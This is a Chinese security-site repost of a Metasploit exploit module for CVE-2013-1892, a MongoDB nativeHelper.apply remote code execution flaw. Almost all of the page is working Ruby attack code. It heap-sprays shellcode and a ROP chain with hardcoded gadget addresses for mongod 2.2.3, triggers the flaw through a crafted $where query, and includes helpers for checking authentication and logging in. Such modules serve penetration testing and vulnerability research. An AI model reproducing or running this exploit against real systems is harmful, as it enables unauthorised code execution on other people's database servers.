首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MongoDB nativeHelper.apply Remote Code Execution
来源:metasploit.com 作者:agix 发布时间:2013-04-03  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'         => 'MongoDB nativeHelper.apply Remote Code Execution',
			'Description'  => %q{
					This module exploit a the nativeHelper feature from spiderMonkey which allows to
				to control execution by calling it wit specially crafted arguments. This module
				has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
			},
			'Author'         =>
				[
					'agix' # @agixid # Vulnerability discovery and Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2013-1892' ],
					[ 'OSVDB', '91632' ],
					[ 'BID', '58695' ],
					[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
				],
			'Platform'       => 'linux',
			'Targets'        =>
				[
					[ 'Linux - mongod 2.2.3 - 32bits',
						{
							'Arch' => ARCH_X86,
							'mmap' => [
									0x0816f768,	# mmap64@plt # from mongod
									0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
									0x31337000,
									0x00002000,
									0x00000007,
									0x00000031,
									0xffffffff,
									0x00000000,
									0x00000000,
									0x0816e4c8,	# memcpy@plt # from mongod
									0x31337000,
									0x31337000,
									0x0c0b0000,
									0x00002000
							],
							'ret'     => 0x08055a70, # ret # from mongod
							'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
							# These gadgets need to be composed with bytes < 0x80
							'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
							'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
							'gadget4' => 0x08055a6c, # pop eax / ret
							'gadget5' => 0x08457158  # xchg esp,eax
						}
					]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Mar 24 2013',
			'License'      => MSF_LICENSE
		))

		register_options(
			[
				Opt::RPORT(27017),
				OptString.new('DB', [ true, "Database to use", "admin"]),
				OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
				OptString.new('USERNAME', [ false, "Login to use", ""]),
				OptString.new('PASSWORD', [ false, "Password to use", ""])
			], self.class)
	end

	def exploit
		begin
			connect
			if require_auth?
				print_status("Mongo server #{datastore['RHOST']} use authentication...")
				if !datastore['USERNAME'] || !datastore['PASSWORD']
					disconnect
					fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")
				end
				if do_login==0
					disconnect
					fail_with(Exploit::Failure::NoAccess, "Authentication failed")
				end
			else
				print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
			end

			if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
				collection = datastore['COLLECTION']
			else
				collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
				if read_only?(collection)
					disconnect
					fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
				else
					print_good("New document created in collection #{collection}")
				end
			end

			print_status("Let's exploit, heap spray could take some time...")
			my_target = target
			shellcode = Rex::Text.to_unescape(payload.encoded)
			mmap = my_target['mmap'].pack("V*")
			ret = [my_target['ret']].pack("V*")
			gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
			gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
			gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
			gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
			gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))

			shellcode_var="a"+Rex::Text.rand_text_hex(4)
			sizechunk_var="b"+Rex::Text.rand_text_hex(4)
			chunk_var="c"+Rex::Text.rand_text_hex(4)
			i_var="d"+Rex::Text.rand_text_hex(4)
			array_var="e"+Rex::Text.rand_text_hex(4)

			ropchain_var="f"+Rex::Text.rand_text_hex(4)
			chunk2_var="g"+Rex::Text.rand_text_hex(4)
			array2_var="h"+Rex::Text.rand_text_hex(4)

			# nopsled + shellcode heapspray
			payload_js = shellcode_var+'=unescape("'+shellcode+'");'
			payload_js << sizechunk_var+'=0x1000;'
			payload_js << chunk_var+'="";'
			payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
			payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
			payload_js << array_var+'=new Array();'
			payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '

			# retchain + ropchain heapspray
			payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
			payload_js << chunk2_var+'="";'
			payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
			payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
			payload_js << array2_var+'=new Array();'
			payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '

			# Trigger and first ropchain
			payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '
			payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'

			request_id = Rex::Text.rand_text(4)

			packet = request_id           #requestID
			packet << "\xff\xff\xff\xff"   #responseTo
			packet << "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
			packet << "\x00\x00\x00\x00"   #flags
			packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
			packet << "\x00\x00\x00\x00"   #numberToSkip (0)
			packet << "\x01\x00\x00\x00"   #numberToReturn (1)

			where = "\x02\x24\x77\x68\x65\x72\x65\x00"
			where << [payload_js.length+4].pack("L")
			where << payload_js+"\x00"

			where.insert(0, [where.length + 4].pack("L"))

			packet += where
			packet.insert(0, [packet.length + 4].pack("L"))

			sock.put(packet)

			disconnect
		rescue ::Exception => e
			fail_with(Exploit::Failure::Unreachable, "Unable to connect")
		end
	end

	def require_auth?
		request_id = Rex::Text.rand_text(4)
		packet =  "\x3f\x00\x00\x00"   #messageLength (63)
		packet << request_id           #requestID
		packet << "\xff\xff\xff\xff"   #responseTo
		packet << "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
		packet << "\x00\x00\x00\x00"   #flags
		packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
		packet << "\x00\x00\x00\x00"   #numberToSkip (0)
		packet << "\x01\x00\x00\x00"   #numberToReturn (1)
		#query ({"listDatabases"=>1})
		packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"

		sock.put(packet)
		response = sock.get_once

		have_auth_error?(response)
	end

	def read_only?(collection)
		request_id = Rex::Text.rand_text(4)
		_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
		key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
		value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"

		insert = _id+key+[value.length].pack("L")+value+"\x00"

		packet =  [insert.length+24+datastore['DB'].length+6].pack("L")   #messageLength
		packet << request_id           #requestID
		packet << "\xff\xff\xff\xff"   #responseTo
		packet <<  "\xd2\x07\x00\x00"  #opCode (2002 Insert Document)
		packet << "\x00\x00\x00\x00"   #flags
		packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
		packet << [insert.length+4].pack("L")
		packet << insert

		sock.put(packet)

		request_id = Rex::Text.rand_text(4)

		packet =  [datastore['DB'].length + 61].pack("L")   #messageLength (66)
		packet << request_id           #requestID
		packet << "\xff\xff\xff\xff"   #responseTo
		packet <<  "\xd4\x07\x00\x00"  #opCode (2004 Query)
		packet << "\x00\x00\x00\x00"   #flags
		packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
		packet << "\x00\x00\x00\x00"   #numberToSkip (0)
		packet << "\xff\xff\xff\xff"   #numberToReturn (1)
		packet << "\x1b\x00\x00\x00"
		packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"

		sock.put(packet)

		response = sock.get_once
		have_auth_error?(response)
	end

	def do_login
		print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
		nonce = get_nonce
		status = auth(nonce)
		return status
	end

	def auth(nonce)
		request_id = Rex::Text.rand_text(4)
		packet =  request_id           #requestID
		packet << "\xff\xff\xff\xff"   #responseTo
		packet <<  "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
		packet << "\x00\x00\x00\x00"   #flags
		packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
		packet << "\x00\x00\x00\x00"   #numberToSkip (0)
		packet << "\xff\xff\xff\xff"   #numberToReturn (1)

		#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
		document =  "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
		document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
		document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
		document << datastore['USERNAME'] + "\x00"
		document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
		document << nonce + "\x00"
		document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
		document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
		document << "\x00"
		#Calculate document length
		document.insert(0, [document.length + 4].pack("L"))

		packet += document

		#Calculate messageLength
		packet.insert(0, [(packet.length + 4)].pack("L"))  #messageLength
		sock.put(packet)
		response = sock.get_once
		if have_auth_error?(response)
			print_error("Bad login or DB")
			return 0
		else
			print_good("Successful login on DB #{datastore['db']}")
			return 1
		end


	end

	def get_nonce
		request_id = Rex::Text.rand_text(4)
		packet =  [datastore['DB'].length + 57].pack("L")   #messageLength (57+DB.length)
		packet << request_id           #requestID
		packet << "\xff\xff\xff\xff"   #responseTo
		packet <<  "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
		packet << "\x00\x00\x00\x00"   #flags
		packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
		packet << "\x00\x00\x00\x00"   #numberToSkip (0)
		packet << "\x01\x00\x00\x00"   #numberToReturn (1)
		#query {"getnonce"=>1.0}
		packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"

		sock.put(packet)
		response = sock.get_once
		documents = response[36..1024]
		#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
		nonce = documents[15..30]
	end

	def have_auth_error?(response)
		#Response header 36 bytes long
		documents = response[36..1024]
		#{"errmsg"=>"auth fails", "ok"=>0.0}
		#{"errmsg"=>"need to login", "ok"=>0.0}
		if documents.include?('errmsg') || documents.include?('unauthorized')
			return true
		else
			return false
		end
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linksys E1500/E2500 apply.cgi
·HP System Management Anonymous
·PonyOS 0.4.99-mlp Privilege Es
·Novell ZENworks Configuration
·Netgear DGN1000B setup.cgi Rem
·Ruby Gem ldoce 0.0.2 Command E
·Groovy Media Player 3.2.0 Buff
·STUNSHELL Web Shell Remote Cod
·SmallFTPd 1.0.3 Denial Of Serv
·STUNSHELL Web Shell Remote PHP
·Easy DVD Player (libav) libavc
·Draytek Vigor 3900 1.06 - Priv
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved